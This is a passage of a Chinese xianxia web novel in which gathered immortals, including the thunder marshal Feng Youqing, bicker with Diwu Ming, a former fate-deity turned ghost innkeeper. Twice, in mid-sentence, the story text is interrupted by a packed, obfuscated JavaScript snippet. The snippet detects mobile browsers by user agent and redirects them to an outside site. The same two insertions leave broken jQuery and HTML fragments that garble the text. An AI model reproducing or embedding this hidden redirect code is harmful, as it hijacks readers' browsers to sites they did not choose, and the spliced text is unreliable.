他生心疑虑:而今,鬼差也需渡劫? 算了…多半是推托之词,指不定店掌柜在哪方潇洒快活,回来晚了也说不定。 盯了眼面前一副小厮打扮的小一,风有情就是急,他也没有办法,店掌柜不出来,他想问的事就问不到,他就只能等着。 最近事情接二连三,还都不是好事,风有情心有不平,严厉道:“自接命令,就应该在此等候。” 小一歉礼道:“大人说的是,是迷魂店零号考虑不周。” 风有情也不是胡搅蛮缠的人,责不在属,就算他还想发火,找的也该是这家店的店掌柜,而非一个堂内小厮。 既然等不到人,风有情便打算先让众人去休整。 他转而问道:“店内房间可安排妥当?” 除了给他们上上水,既没有店掌柜迎接,也没有安排他们落住休息。 他不明白,他不问,这家店为何也不做其他安排。 当真是过于散漫… 若是他的部下,此刻就该受罚雷霆之下了。 小一道:“回大人的话,原先给的是九名仙君的指令…如今看来,倒是人数多了近一半,所以还有五六个房间正在…” 原来如此。 不等小一说完,风有情打断他的话,道:“死魂太多,本君担心处理不当,特地请了司职主冥、记名、落死、上升、大魁的五斗星君前来协助,若是房间还没妥当,就速速去准备。” 小一躬身一礼道:“是。” 风有情则闷咽了气,低饮雪水,降火。 小一并未立即又上楼催促,或是调遣其他人抓紧时间去布置房间,而是侧身退到了酆小洪的桌前,将茶壶双手奉上,道:“有劳仙君了。” 酆小洪点头道:“嗯,你去忙吧。” 青色衣袍,少年男子,也是一位仙君。 瞧着不像是因为犯事才来这里的。 风有情身为雷部主帅,自是最清楚那几位犯事的仙君早早都送了下来,此时此刻断然是不应该出现在此处。他眼带疑惑,和堂内其他仙君一起,仔细打量这位其貌不扬,甚至面容说起来还有些磕碜的住店人。 酆小洪没打算理会这些仙君的审视,他喝了一小口雪水,顺下口中残渣,提起茶壶,眼不斜视,步态轻盈地朝楼上走去。 身影刚消失在梯口处,堂中,其间一位看起来年弱、俏丽,梳双髻双辫的黄绿玉袍女仙君,脆生道:“青衣…是那人的喜好哎,这么多年不见,他也太不注重皮囊了吧,怎么又修炼了一幅这种样貌,当真是任性。” 还是说话女仙君那桌,她身旁紧挨的,是一位身穿明黄扎眼玉袍的男仙君。 他用手,把飘在胸前的长长发带扬到了身后,举止轻浮,从桌下腰间抽出一把戒尺,轻轻敲在了女仙君的脑袋上,才慢慢悠悠道:“小音啊,你多看看本君,本君容颜好。再有啊,不是所有着青衣的人都是那人,何况那模样…那体魄…若是你觉得他就是东岳帝君,本君岂不是在你心中也可做一方主事…” 叫小音的女仙君,面色愠怒,还没来得及破口大骂‘无耻’,男仙君对面一暗紫玉袍的冷面仙君,手指在桌上叩叩两击,冷面冷眼地看着二人。 两人瞬间收敛了松懈的姿态,端端正正,安安静静地坐着喝了一口雪水。 可那明黄扎眼玉袍的男仙君,饮着饮着水,姿态又松散了起来,嘴里念念道:“风真君让早些来,来了又干坐着…” 还是那一桌,剩余的最后一位玄青玉袍仙君,笑了笑,劝冷面仙君,道:“反正等着也是等着,小音和南泥闲不住,风真君不也还没发话吗,甘歌你不用像平日那般严苛。” 原来,女仙君叫溪亖音,黄袍男仙君叫南泥,而剩下两人,面容和善的叫凉离,面容凶狠乖戾的叫甘歌,他们都是相熟的,此番一起来这里,同为风雨江办差。 甘歌看了一眼南泥,冷冷道:“莫不是你忘了昔日是如何飞升的?哼!不管刚刚堂中的仙君是不是,你休得拿那人开玩笑。” 南泥托腮叹气,道:“凉离,你看吧,甘歌老是这样。” 突然,神色板正了两分,他目光带着一抹不容置疑的沉色,他道:“你未忘,我又怎敢忘,又怎么会忘…若真让他做了笑话,我不介意他再回来管教于我。” 南泥此话一出,这张桌子上,氛围变得有些凝重。 他嬉皮笑脸地‘哈哈哈哈’笑了几声,姿态又松软了回去,挑眉道:“我这人皮糙肉厚,他再多带六七人回来,我也是不怕的…哈哈哈哈…” 这番话好像没什么调节效果,桌上三人仍旧默不作声,连一直和和气气笑着的凉离,嘴角的弧度也轻了些许。 南泥似乎意识到话说得过了,用戒尺戳了戳溪亖音搭在桌子上的胳膊,幽怨道:“刚刚进来,本君就说要去珪珖那桌,你偏不,这下好了,无聊极了…” 溪亖音偷看了甘歌一眼,见对面依旧冷着脸,本想附和南泥的话,却无奈地咽在了嘴中。 她转头朝风有情身后那桌两名武将着装的仙君,努了努嘴,对面一点回应也不给,她抿唇娇嗔道:“闭嘴吧!你看杨战息和宋世平两人谁敢吭声,当心雷部主帅待会儿找上你。” 南泥嘻嘻笑着,穿堂阴风走过,激起了他头上长长的发带,冲向风有情后背。 他笑眼闷声道:“本君又不是雷部的人,本君只要不犯事,他的雷霆,劈不到本君身上。” 溪亖音懒得搭理他。 他却不死心,又用手中戒尺指了指另一方。 那边,坐的是一进来就十分自在的五位五斗星君,他吐槽道:“小音啊,你看看,别人就能有吃有喝,还有说有笑,本君不过说说话,怎么就不行了。你要不也讲讲话,陪本君解解闷。” 溪亖音嘟囔道:“南泥,你以前不这样的…” 南泥疑惑道:“有吗?我以前应该也是这副模样吧。” 顿了顿,他摇头叹气道:“此刻不找点事,多无聊啊。” 溪亖音翻起旧账道:“无聊?咱们来办事的,你能不能正经点。自从小…他走后,你就天天说无聊,今天找我的茬,明天找路了绿和珪珖的麻烦,动不动还要去惹乐正,时不时又拉着宋世平和杨战息二人去玩,让他们无辜被雷部责罚。你说哪次不是因为你说无聊后,还得让凉离和甘歌辛辛苦苦来给我们善后的…你能不能安分点,我就算了,你闹得他们隔段时间就要为你遭一次罪,太折腾了!” 溪亖音数落着南泥,南泥却一点也难受,反而还很自豪,昂起头,笑容不减,道:“小音不喜欢啊…本君是瞧着小音无聊,特意陪小音找的乐子。” 溪亖音脸上做起样子,偷瞄桌上其他两人。 凉离还是柔柔和和地笑容满面。 甘歌脸色却越来越难看。 溪亖音瘪瘪嘴,口不对心道:“谁喜欢啊…” 南泥却凑近,拿着戒尺在桌上点了点,回忆道:“偷乐正墨宝的时候,可是你帮着藏起来的,而路了绿和珪珖练的仙丹,是你说想尝尝的…宋世平和杨战息,我记得那次,你说好久没见着他两了,很想念这两人,我才去把他们请出来的,至于凉离和甘歌…你好像比我给他们找的麻烦更多吧。” 溪亖音一掌拍在桌子上,道:“南泥!你…你不讲道理…” 声音不大,力度却不小。 她这一巴掌,把甘歌给拍得站了起来。 南泥呆愣住了。 溪亖音则是被吓了一跳。 她收回拍疼的手掌,轻轻在嘴边呼气。 凉离则一直笑眼咪咪地看着三人。 但听甘歌留下一字“吵”,便独自走到风有情身后,那两名武将桌旁坐下。 那两名武将身旁突然多了一人,纷纷侧头看来。 杨战息道:“甘歌。” 宋世平道:“甘歌…” 二人一脸疑惑,甘歌淡淡道:“那边太吵了。” 二人不约而同又看了南泥一眼,齐声道:“嗯。” 示意算是知晓了,也赞同了这见怪不怪的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547217|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘歌新迁的这一桌,顿时又死一般静谧下去。 而甘歌方才离开的那桌,凉离微微一笑,对桌上二人道:“喜静的人走了,你们两可以继续聊了。” 溪亖音看向楼梯,叹气道:“不想聊,也不知道那事是不是真的…只要下来,就真能遇见姐姐吗?” 凉离由着溪亖音的话,回想起他们九人收到的那封信诀,和信诀上面熟稔的气息,认真答道:“消息应该没假。” 南泥同路过的小三手中,换了一盏雪水未化的杯子,放进溪亖音拍红肿了的手掌中,一本正经地道:“我们九人是都到了,可那位东岳帝君还没到啊。至于要等的人会不会来,他不来,我感觉她应该也没那么容易让我们这群人见着吧。” “嘘!” 溪亖音僵硬地转动脖子,朝风有情背后望去,偷瞧对方有无反应,见那背影没有丝毫变化,才悄悄松了一口气。 她小心翼翼的模样,南泥都瞧在眼里,虽过去这么久,但三宫九府那一幕却仿佛历历在目,他音量不减道:“小音,你害怕做什么,本君敢跟你打赌,风真君他什么都知…” “知…唔…小音,你…唔…你又捂我嘴,本…君…我教过你的,不能…用手,脏…” “男…男女…授…授受不亲…” “松…开…” “…” 溪亖音用了全身的力气在手掌上,南泥挣扎了一番,面色羞红,那手掌心的热度,让他慢慢停了下来,垂下眼皮,眼睛左右颤动,掩盖眸中陡然出现的慌张。 溪亖音手掌下嘴唇不再张合,她才松了开,嘀咕道:“哼!就你胆子大,信不信我下次直接画一张符把你嘴缝了。” 南泥双手捂嘴,身子往后缩了缩,过了好一会儿,才放下手,将后面的话,空动嘴唇讲了出来,道:他绝对都知晓,我们修一副新皮囊是挡不住一位真君的眼,今天的事,指不定就是他和那人商量好的。 凉离敛了笑容,道:“安静一会儿吧,我也觉着有些吵了。” 南泥浑身一震,收了嬉皮笑脸的不正经样,点了点头,尴尬地端起杯子,小口饮水。 溪亖音端起桌上那盏刚化了雪水的杯子,挡在额头前,一叶障目,责怪南泥,道:“闭嘴吧,都让你少说点了。” 而堂内,还剩下两桌,一桌静默无言地饮着水,正是南泥和溪亖音口中提及的乐正词媿、路了绿和珪光三人。 另一桌,则狼吞虎咽地疯狂往嘴里塞着东西,他们就是南泥羡慕的五斗仙君。 五张桌子,十五位仙君,几相比较,就属五斗星君那桌看起来最自在,那边唤道:“小二,再上一壶水。” 同桌另一仙君,道:“小二,糕点也再来一份…” 其中一位嘴里塞满吃食的仙君,嘴里嘟囔着,道:“小二,那边空桌上的东西看着很不错,你也都给我们来一份。不不不…来两份。” 末了,他们当中,还稍显冷静的一位仙君,悠悠地道:“小二,记得都写风真君帐上。” … 刚下楼的小二,忙得脚不沾地。 这时,楼道上传来一位女子声音,道:“怎么都找小二,店内不是还有小一、小三、小四吗?怎么就逮着一个小二一直使唤呢?” 第五茗在房间里听小五简单讲了下面的情况:说是一大早,就来了十五位仙君,入了门,一直未收金光,还直嚷嚷要找迷魂店零号的掌柜。雨无伤连楼都没下,就直接遁回了奈何桥,他们几个只能来请第五茗下去应对。 为了节约时间,第五茗让小五草草在她脸上润了色,换了一套黄底彩染衣,出了门。 打开门,酆小洪提着早上从她房间里拿走的茶壶,站在廊道上。 茶壶里,已经灌满了水… 出于礼貌,第五茗接了茶壶放回了屋内,然后才又出了门。 来来回回一趟,在上面又耗了点时间,刚走到梯口,紧随而来的酆小洪,又问她是否把佩印带在身上…第五茗被折腾得有些烦躁,一边下楼,一边从怀里掏出之前酆小洪给的佩印,拿在手上晃了晃,朝对方展示。 也正是这番举动,让第五茗看清了面前一层一层的金光,竟是让这佩印给挡了回去。 下楼前,她还疑虑道:怎么突然鬼魂身,也不惧怕仙君的护身金光了。 难道已经到了渡劫飞升之境… 正琢磨这事,她就听见楼下传来一连串使唤小二的声音。 这都什么事儿!! 40. 飞升十仙皆在此6 第五茗身边的仙君,今日和魔怔了一般,絮絮叨叨,而楼下来的仙君,也跟给了脸似的,当在自己家,毫无顾虑。 她烦躁异常,不受控制地心头一堵,嘴上忍不住就讽刺了两句。 想了一阵,第五茗接着方才为小二鸣苦的话,又道:“仙君们不是来办差的吗?怎么到这里来,还吃喝上了?还是说小鬼好使唤,你们就想着来这里找乐子?” 成了鬼身,今日她说话却人味十足。 第五茗说第一句话的时候,小一就候在了楼梯口,见人出了楼梯,漏了面,先众人一步,行拜仙礼,唤道:“小掌柜。” 他此时称呼第五茗做‘小掌柜’,而非‘上君’,便是表明给在场的人,他们店,做主的人来了,他们一直催唤的人,也来了。 堂中,众人皆是一惊,有几人更是站了起来。 那张独人桌子,风有情眼神闪烁,面带疑惑,道:“第五茗?你怎么在这里?” 五斗星君那桌,见来人是前司命真君第五茗,放下来手中的东西,静静地看着这方,稍瞬,便把准备呵斥反驳‘店掌柜’的话,和着吃食一起咽进了肚子里。 第五茗则是有些尴尬,下了楼梯口,才瞧清胡吃海喝的那群人,居然是一群老熟人,还是一群算和她关系比较亲近的老熟人。 她笑着欠了欠身,算是赔礼道歉。 要知道这几位仙君是劳苦的命,哪里死人了就往哪里去,总是忙忙碌碌,唯一的爱好,便是贪眷嘴里的一点味道。 剩余其他人眼中,则多是动容,站起来的几人,被身旁的人拉回了座位上。 那九人各自心里清楚… 信诀是真,那信诀上让他们办的事,想来也是说真的。 坐在凳子上,九人思绪纷杂,不停打量背对他们的雷部主帅风有情:究竟如何才能支走风有情,把事情办了呢… 脚刚踩在地面上,第五茗差点因为风有情的话,和面露尴尬的五斗星君趔趄,根本没机会好好看一看方才屋内其他人的反应。 还好她身后的酆小洪眼疾手快,一把扶住了她。 第五茗眼前一震,眉头也蹙了起来,情绪仿若受了什么东西控制,像个小人般,不自觉地嘀咕道:“风有情!遇见他准没好事…” 对旁边候着的小一,她低声道:“难怪你家大掌柜临阵脱逃,原是来了不该来的人。” 场中,唯有风有情站起来后,还没有坐下。他一掌拍在桌上,大喊道:“第五茗,本君问你,你怎么在这儿!” 没搭理风有情,第五茗先侧头小声对酆小洪道:“仙君先去其他空桌上等等我,这风有情你应该也有所耳闻,莽的很,让我先去迎迎他。” 酆小洪收回扶在第五茗小臂上的手,道:“好。” 分开前,他不忘提醒道:“仙君们的金光伤身,上君定要将佩印带在身上。另外还有一言,想要提醒上君,风雨江城隍官常遇春刚卸任,此时差不多应该在上面候差了,若是你想要替他谋一个位置,风有情在此,你可以提一提,他身边缺人,应该不会拒绝。” 第五茗点头道:“好,我知道了。” 得到回应后,酆小洪独自走向了那点满一桌吃食的空位。 倒了一杯水,他目光看向这方,紧追第五茗移动。 只见第五茗瞧了两眼手上的东西,又摸了摸,堂中仙君的金光,全由她手上的佩印挡了回去。她心道:这东西还真是宝贝,和印了通阳太明之印的冥钱黄纸一般效用,居然可以护住小鬼魂魄。 当真稀罕。 可这稀罕的宝贝,却让她心中生疑,若不是面对风有情,此刻,她根本不可能乖乖的把佩印系挂在腰间。 一连问了两次,风有情都没有得道第五茗的答复,只好咬着牙,再问了一次,道:“第五茗…本君问你,为何你会出现在这里!!” 系好佩印,第五茗终于肯搭理风有情了,脸上笑容相赔,上前挽了一礼,道:“见过真君,不知真君唤我所谓何事?” 又是这死样…从风有情知道第五茗擅自改了他渡情劫的命格簿子后;从风有情在第五茗历升阶雷,他听到‘雨无伤’的名字,不小心多降下几道雷霆时;从风有情在三宫九府捉拿回第五茗,她来这冥界地府历劫开始那刻… 第五茗时不时会故意针对他。 而风有情,又总是莫名其妙地觉得,好像就是他做了错事…是他于第五茗有亏欠。 尽管捉拿第五茗的那次,他用法力帮其稳住神格不落天道… 尽管第五茗被关押的时候,他好心送过美酒… 尽管第五茗冥界地府历劫,他关心历劫进度,多次来提点鬼差阴帅… 尽管第五茗凡间命苦,他路过看见,特意好心扮道士去助她… 可每一次,第五茗好像都没领情,还一副风有情欠了她很多的态度。 咽了一口气,风有情绕到桌子外,走近第五茗,再问了一遍,道:“本君问你,为什么在这里。” 第五茗摆着笑脸,模样却贱兮兮地道:“回真君的话,当然是因为我死了呗。” 话语软绵绵,风有情却犹如闷吃一记,抬起手想在桌子上拍上一掌,结果面前空空如也,他收了手,道:“废话!本君还能不知道你是死了?你此次轮回当有四十五载岁月,才二十年,你怎么会出现在这里?” 同在天上任职时,修为能让风有情钦佩的,第五茗属其一。 第五茗出了事,甘愿为小鬼们背责,又让风有情高看了她两眼。 加上,风有情敬天命,第五茗还是天命天道下降生的天生神格,故而,让他心生敬慕,让他对第五茗起了怜惜之意。 只是…如今第五茗落得如此下场,风有情不免替她感到唏嘘。 要知道,她第五茗作为天生神格之仙,若是修炼得当,也是可和天帝一样,做一方掌管者,也必定成为一方主事,是他日后要效劳的君。 他是以要比别人更关心第五茗的渡劫历程。 第五茗调侃道:“没想到真君如此关心我…受之有愧,受之有愧,还不是我这小身板挡不住风雨江水,不然怎么会英年早逝,连一具好肉身都没有了…真君要不替我捏一具肉身吧,我趁着阳寿未尽,再回去好好潇洒几十年?” 说着说着,可能因为眼前是一位相熟的人,第五茗双手抄在了大袖里,抱臂随意道:“真君要是心疼我呢,还可以在送我回去的时候,选一个富足人家,免得我像前半生一样,吃不饱穿不暖的,我一个弱女子…很惨的。” 原来这次的症结在这里… 风有情的确化身道士帮第五茗在平安村留了下来,事却未尽善尽美,让凡身凡心的第五茗白白看见了美好的希望,最后还是得了一个吃不饱穿不暖的结局。 第五茗活着的时候,饿得狠了,总要埋怨风有情几句。 长年累月,这言念之力累积,此刻还是小鬼身的第五茗,遇见了当事人,自然一触即发了。 闻言,风有情愣了一瞬,心中好似也想通了这一点,没有接第五茗的茬。 第五茗嘴角挑笑,话锋一转,竟开始埋怨道:“瞧我,这不糊涂了吗?真君怎么会心疼我呢,当初来了平安村,寸毛不拔就离开了,好不自在,可怜当年同期为仙,竟半分情谊也没有。想当初,我初入司命府,见真君的命格簿子为老司命写的潦草至极,恐真君渡不尽劫难,还擅自顶着天雷帮真君修正了命数。” 这一茬接一茬,还是天界仙君之间的事,堂内人都踟蹰在原地,大开六感,仔细着聆听这方动静。 又又又翻陈年烂谷子的芝麻事,风有情扶额大喘,小声喝止道:“当年的事你能不能别再提了。” 他声音弱了几度,道:“至少别在这里说…” 第五茗面上委屈,道:“不提就不提…真君说了是,我不提了还不成。” 风有情倾身,低语道:“当年是本君心高气傲,是本君莽撞,选了一个‘三无’小鬼去结伴历劫,本君事后也感恩你多次了。” 第五茗没打算饶过风有情,尤其在知道当时的‘三无’小鬼便是雨无伤后,心中的气不打一处来。 她道:“也是…我在说什么胡话,捉拿我时,道道雷霆之击,没有一次是打歪了的。真君是挺感恩的…” 风有情一向严肃端正,遇见第五茗的接连翻旧账,他竟支支吾吾,道:“你是无赖吗?好歹你以前也是司命真君,如今怎么成这幅德行了。历劫不成,难道礼仪教养也丢了?” 随即,他双眼金光一闪,嘴里嘀咕道:“你若是念力太深,本君替你消。” 说完,他准备伸手去捉第五茗,却被第五茗一个侧身躲开了。 第五茗完全一副小鬼样,嘟囔道:“哟喂~冤枉啊,我本就身无长物了,只能见一样再找回来一样,我这礼仪教养是刚刚和真君您现学的。” 风有情心里直呼:完了… 他嘴上怒喊道:“第五茗!” 然而仙君之力,并没有倾销掉第五茗身上的那股小鬼怨气,她继续不甘示弱道:“真君,您得唤我一声上君呢,我历劫回去了,还是司命殿里的真君,职位和您是平起平坐。” 怎么会这样! 风有情不明白哪里出问题了,这档口能遇见她怨气加身,而他的仙力却进不了对方的身。 倒是那满满一桌吃食旁的人,见到这一幕,目光不约而同,齐齐落在了第五茗袖间,若隐若现的那枚挂坠上,他们嘴角浅抿了抿,拿起桌上的一盏茶杯,挡住了脸上的笑意。 没错! 一切不正常,都源于那枚佩印。 酆小洪给的那枚佩印,不仅能挡仙君护身金光,保小鬼魂魄,还能隔断他人朝所佩之人施法下咒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547218|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 连仙威妖愤也不能近身。 只是这些,第五茗现在都还不知道,风有情也不知道罢了。 风有情先低下势来,语气柔和了些道:“上君真是这家店的掌柜?” 第五茗点头道:“是。” 回归正题,风有情转移话题,公事公办道:“敢问店掌柜,东岳帝君什么时候到?” 东岳帝君也要来? 第五茗明显怔了一下,神思也回来了些许。 雨无伤走的突然,压根没和她交代任何细节,她嘴上不确定道:“应该…应该…” 风有情严肃道:“应该?调令上没给你时间?” 第五茗道:“有的有的,只是一时忘了。” 候在他们二人身后的小一,半步上前,俯身道:“小掌柜,你忘了吗?刚刚你才吩咐我们,今明两天,要全天守在店中,还说东岳帝君最晚明日会到。” 小一话中意思在明显不过。 第五茗点头道:“对对对!!帝君最晚明日。真君可能还要先在这里稍作歇息,我今日要入鬼门关去报道,帝君来了,小一会替你们安排。” 风有情指着小一,道:“他?” 第五茗松开抱着的双臂,拉过小一,道:“对,是他。我已经全部安排妥当,其他的事,真君不必多虑。” 风有情瞄了眼第五茗身上渗渗而出,言念之力演变的鬼魂怨气,背手道:“算了,你这里不过是一个落脚点,上君该入鬼门关就尽早入吧。” 因第五茗的手放在了两侧,腰间先前系上的佩印,没了大袖的遮掩,赫然进入了风有情眼中,他没经过第五茗允许,便伸手拿了起来,一眼看透了佩印的实质,突然明白了刚刚为何替第五茗消不掉念力。 他又问了一遍,道:“上君方才说,帝君什么时候到?” 风有情手指在佩印的刻纹上摩挲,第五茗觉得两人之间的举动有些过于亲昵了,一把夺回佩印,后退一步,道:“明日,最晚明日。” 风有情道:“是吗?” 抬起头来,环顾了一圈,目光锁在了远处的青衣仙君身上,他轻蔑一笑,对方也不躲避,挑眉含头回以笑容。 两相无声问候,一切算是明了了。 风有情心中有数,却还是回过头,指着第五茗手中的东西,确认道:“这东西,上君哪儿得来的?” 第五茗心头一转,握紧佩印,道:“我不想告诉你。真君每次来这里,都给我带来不少麻烦,如今我得了好东西,真君万一上眼了…” 风有情额角青筋暴跳,道:“你…” 第五茗指责道:“别你啊你的,真君若是有心,应当知道上了鬼道,所遇皆是小鬼,可你和这些仙君,顶着一身金光穿行而来,有冥钱黄纸傍身的还好,若是身上啥都没有的,再被你们金光一照,这小鬼指不定还能剩下几丝魂魄…难道这不是麻烦吗?” 一席话,说的并非没有道理。 听后,风有情沉默良久,转身朝堂中仙君吩咐道:“把护体金光收起来,不出冥界地府,休得再开。” 众人应道:“是。” 店内金光,一道一道消了下去。 终于,第五茗给了风有情一个正常脸色。 她好言好语,道:“我替他们先谢过真君了。” 风有情道:“你能告诉本君,手上的东西哪里来的吗?” 第五茗拒绝地十分干脆,道:“不能。” 偷看了酆小洪一眼,第五茗见对方一直瞧着这边,且全然没有因为风有情要询问佩印信息而紧张,反而勾起嘴唇笑了笑,她一怔,愣愣地回了头。 想起分开前,酆小洪提醒的常遇春的事,她对风有情改口道:“真君真想知道,我也不是不能说…” 第五茗手指缝漏出来的佩印边角,风有情粗略扫了一眼道:“说吧,你有什么事。” 第五茗笑道:“瞧真君说的,我能有什么事,自然是为真君好,你知道我心善,最是喜欢管闲事。一路上听闻了不少风真君和风雨江使的故事,知道真君与郤人杰无缘,特意寻了另一位优秀的仙友,举荐给真君做小将。” 风有情把手伸了出去,指尖朝第五茗手中的东西招了招,第五茗不情不愿地把腰间系扣解开,双手把佩印奉了过去。 拿到东西,佩印面上的障眼法荡然无存,只消一瞬又恢复了原样,但在场仙官神眼清明,都看清楚了那是什么东西——通阳太明之印,东岳帝君随身携带的法器,也是冥界地府之主的身份象征。 风有情嘴角含笑,余光又瞧了眼那方桌边的酆小洪,回头看着不明现状的第五茗,双手将佩印奉了回去,极其珍重,道:“东西还是上君自己收好吧,你举荐的是哪位仙友?” 在场仙君,眼神灼灼,尤其属那九位第五茗不认识的新面孔,都顺着那枚佩印看向第五茗。 41. 飞升十仙皆在此6 第五茗浑身酥麻,他们投来的目光,她避无可避,微微皱眉,直到在场仙君目光移开,随风有情适才的举动,纷纷转向堂中的青衣酆小洪,她才缓了过来,捡着重要的事情,同风有情道:“风雨江第三任城隍官常遇春,真君若是点做小将,定能相得益彰。” 风有情脑中盘寻了一阵,道:“上天好几次…那找不到主的小仙?” 这句话,又戳到了第五茗心头。 她尴尬地点点头,难得气势弱了两分,道:“没错,正是此人,常遇春人挺不错的,风真君定然喜欢。” 风有情丝毫不拖泥带水,道:“不要。上君还真是热心肠,这种事也要去管一管。你当知此人有主,若是本君点为身边小将,那替他拔牌楼的仙君,已为他耗损法力,到时候找上门来,本君可说不清。” 的确,不说清楚,没有人会要别人的‘东西’。 第五茗抿唇,眼神闪躲,声低如蚊,道:“常遇春是我点飞的,真君放心收了吧。” 风有情听清楚了的,但他不太确定,嘴上直接疑问道:“什么?你说什么?本君没听清楚…” 落在第五茗眼中,就是纯粹找茬,和她刚才阴阳风有情是一个道理。 双手握拳,第五茗震声道:“我说!他常遇春风真君你放心收归。因为!!他是我耗费法力点飞的!!!!真君听见了吗!!!” 风有情揉了揉耳朵,弱弱道:“本君听见了,本君收了他就是了。” 第五茗又道:“真君手抬起来…” 听话的,抬起了一掌,立在第五茗面前,风有情心里却有疑惑,嘴上不禁问道:“做什么?” 第五茗木木地道:“下誓。” 语毕,第五茗已然伸手合上风有情的手掌。 风有情错愕间,当着众仙友的面,莫名其妙和第五茗结下了仙君誓言。 两人手掌间光痕闪烁,刚褪去,双双急忙撤回了手。 风有情蹙眉,道:“你这是干什么,难道我会不遵守承诺!” 第五茗道:“以防万一,这样保险一些。” 风有情不悦道:“多此一举。” 第五茗道:“谁知道呢,万一你就有过前科呢。” 风有情傲气的脸上,满是不屑,抬起结印的手掌,手心落于自己眼底,使上点法力,把手上刚结下的那条仙君誓言重新显了出来,漫不经心道:“本君乃是雷部主帅,从来都是言而有…” 信。 嗯? 不知道是不是第五茗人太衰了,连带着她说的话都有了某种神奇的能力,风有情双眸瞪大,漏出些许讶异,手掌也没如他预期一般展现给第五茗看,而是悄悄地卷了起来,紧紧握住。 上面竟是有两条金痕。 一条光泽微弱,显然是刚与第五茗定下那条誓约。 而另一条,颜色深沉,金痕已经刻进血肉,泛着浅浅红光,昭彰誓约立下时间久远。 风有情心中微微一怵,莫名地想起了那个会让他听了就浑身不舒服的名字——雨无伤。 他心中疑虑:真和雨无伤有关? 看来必须抽空找她问清楚了。 凡胎肉眼,第五茗没并有察觉出风有情的变化,她在结印的手心,用两指揉散刚刚因为风有情的召唤,而显露的金痕,道:“知道的,知道的,真君一言既出,驷马难追。真君来办正事的,不是和我们在这里打打闹闹弄着玩,是我无聊,是我惹是生非,给真君添麻烦了…真君还有其他事吗?” 风有情双手微蜷,背于身后,一脸嫌弃,道:“和你还能有什么事,难道你想要本君催你尽快回去?” 这话第五茗听不的。 若说第五茗爱管不认识人的闲事,那风有情就是典型的喜欢为天上仙君们操闲心。 第五茗挑眉,揶揄道:“哎呀,我知道真君不是为我而来,既然来都来了,要不要再给真君寻一合适的女鬼相约下凡玩玩?真君还可以自己去司命府写一个合合满满的好命数,定不会伤那么重回来。” 两人这是互相在对方的痛楚上撒盐,风有情黑脸道:“你…算了。” 他环顾看了一圈,周围众仙由他转头的瞬间,装模作样地埋头低饮。 他眼神一沉,呼唤道:“小二,房间还没准备好吗?” 缩在角落的小二正准备应声,小一便柔柔开口道:“各位仙君的下榻之处,都已准备妥当,随时可以入住。” 风有情含头,目光带有一抹威严移向小一,招手道:“小二前方带路吧。” 他看的是小一,叫的是小二,想来心中一定不知道‘小二’一名,是另有其人。 可让第五茗又逮着风有情的茬了,她给风有情侧让了路,不依不饶道:“你们这些神仙和小鬼真是的,这迷魂店零号是只有小二吗?光盯着小二使唤,小二也是很累的。” 使了心眼,同风有情一样,对着小一招了招手,她不怀好意地笑道:“小一,带真君去我房间旁…刚空出来的那间,让真君好!好!休!息!睡一个好觉。” 小一恭谨道:“是。” 这一人一招手,顿时,让在场的人明白了,「小二」在这家店不是小厮的统称,是一位小厮的名字,而风有情刚刚招手的对象,叫「小一」。 着实尴尬… 好面子的仙君,不约而同,因刚才频繁叫唤了「小二」,急忙喝水掩饰面上的局促。 第五茗单手撩拂衣袖,道:“真君楼上请。” 风有情知道又被第五茗戏耍了,“哼”了一声,朝堂内众仙点头示意,便走向了楼梯处。他身后两名武将宋世平和杨战息,起身抱拳恭送,其他仙君则原地不动,用眼神相送。 小一跟了上去。 第五茗特意嘱咐道:“小一,真君很大方,千万不要舍不得,记得把好东西都给真君送上去。” 风有情身形微晃,复而脚步铿锵,闷头爬楼,和小一一起消失在了楼梯上。 没了风有情在场,其他仙君明显胆子也大了一些。 那双髻女仙君最是激动。 溪亖音眼含星光,朝背对他们的第五茗,哽咽唤道:“姐姐…” 她说着,身子也撑起了大半,正要站起来,结果被身旁的黄衣黄发带的男仙君拉住了。 南泥一改先前吊儿郎当的模样,神情肃穆,对溪亖音朝酆小洪的方向暗示了一番,小声道:“再等一下…不要给上君找麻烦。” 溪亖音坐了回来,心有不甘道:“知道了。” 同桌的凉离,笑容晏晏,从一身玄青玉袍衣袖中,掏出一张鱼白方巾,递给溪亖音,道:“小音擦擦眼泪,哭丑了,上君待会儿瞧了,会心疼。” 溪亖音接了方巾,擦抹眼泪,道:“嗯,我不会把脸哭花的。” 送走了一尊大佛,仙君们轻松,第五茗心里、面上也别提有多开心。 第五茗走路的步子都轻快了一些。 刚落座在酆小洪身旁,她面前便被推来一杯雪水,接着是一盘又一盘吃食。 酆小洪缓缓道:“上君,先用些,入鬼门关后就没什么东西可吃了。” 第五茗高兴道:“好,正好饿了。” 银耳冰莲,冰镇浆果,冰酪,冰梨…和一堆花花绿绿寒冰浸过的糕点,第五茗吃了两口,好心情冻掉了一半,道:“全是冷的…” 酆小洪安慰道:“等上君做了鬼差,我给上君备一些温食。” 再吃了一口,嚼了两下,第五茗悠悠地道:“也不差那一口温食,只是做人二十载,吃了二十载热菜暖汤,突然有些不习惯…” 酆小洪选了些不那么凉的东西夹到第五茗碟子中,放下筷子道:“以后会有机会的。” 